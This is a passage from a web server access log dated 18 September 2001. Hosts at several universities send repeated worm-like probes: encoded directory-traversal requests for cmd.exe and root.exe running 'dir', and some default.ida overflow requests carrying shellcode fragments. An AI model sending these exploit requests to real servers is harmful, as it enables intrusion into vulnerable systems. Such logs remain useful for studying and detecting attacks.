  5313. 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5314. 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5315. 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5316. 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5317. 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5318. 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5319. 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5320. 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5321. 20010918 17:42:48: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5322. 20010918 17:42:48: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5323. 20010918 17:42:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5324. 20010918 17:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5325. 20010918 17:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5326. 20010918 17:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5327. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5328. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5329. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5330. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5331. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5332. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5333. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5334. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5335. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5336. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5337. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5338. 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5339. 20010918 17:44:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5340. 20010918 17:45:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5341. 20010918 17:45:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5342. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5343. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5344. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5345. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5346. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5347. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5348. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5349. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5350. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5351. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5352. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5353. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5354. 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5355. 20010918 17:45:10: PO-ADMIN120.BU.EDU [128.197.232.120] ""
  5356. 20010918 17:45:26: PO-ADMIN120.BU.EDU [128.197.232.120] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5357. 20010918 17:45:26: PO-ADMIN120.BU.EDU [128.197.232.120] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5358. 20010918 17:45:29: PO-ADMIN120.BU.EDU [128.197.232.120] ""
  5359. 20010918 17:45:48: PO-ADMIN120.BU.EDU [128.197.232.120] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5360. 20010918 17:45:48: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5361. 20010918 17:48:12:  [216.167.127.107] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5362. 20010918 17:50:42:  [216.167.127.107] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5363. 20010918 17:51:00:  [216.167.127.107] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5364. 20010918 17:51:19:  [216.167.127.107] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5365. 20010918 17:51:37:  [216.167.127.107] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5366. 20010918 17:51:55:  [216.167.127.107] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5367. 20010918 17:52:14:  [216.167.127.107] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5368. 20010918 17:52:36:  [216.167.127.107] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5369. 20010918 17:52:54:  [216.167.127.107] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5370. 20010918 17:53:16:  [216.167.127.107] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5371. 20010918 17:53:34:  [216.167.127.107] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5372. 20010918 17:53:53:  [216.167.127.107] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5373. 20010918 17:54:11:  [216.167.127.107] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5374. 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5375. 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5376. 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5377. 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5378. 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5379. 20010918 17:54:33:  [216.167.127.107] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5380. 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5381. 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5382. 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5383. 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5384. 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5385. 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5386. 20010918 17:54:52:  [216.167.127.107] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5387. 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5388. 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5389. 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5390. 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5391. 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5392. 20010918 17:55:10:  [216.167.127.107] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5393. 20010918 17:55:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5394. 20010918 17:55:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5395. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5396. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5397. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5398. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5399. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5400. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5401. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5402. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5403. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5404. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5405. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5406. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5407. 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5408. 20010918 17:55:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5409. 20010918 17:55:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5410. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5411. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5412. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5413. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5414. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5415. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5416. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5417. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5418. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5419. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5420. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5421. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5422. 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5423. 20010918 17:56:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5424. 20010918 17:56:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5425. 20010918 17:56:31: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5426. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5427. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5428. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5429. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5430. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5431. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5432. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5433. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5434. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5435. 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5436. 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5437. 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5438. 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5439. 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5440. 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5441. 20010918 17:58:56: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5442. 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5443. 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5444. 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5445. 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5446. 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5447. 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5448. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5449. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5450. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5451. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5452. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5453. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5454. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5455. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5456. 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5457. 20010918 18:07:47: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5458. 20010918 18:11:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5459. 20010918 18:14:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5460. 20010918 18:14:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5461. 20010918 18:14:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5462. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5463. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5464. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5465. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5466. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5467. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5468. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5469. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5470. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5471. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5472. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5473. 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5474. 20010918 18:14:51: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5475. 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5476. 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5477. 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5478. 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5479. 20010918 18:18:29: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5480. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5481. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5482. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5483. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5484. 20010918 18:18:30: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5485. 20010918 18:18:30: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
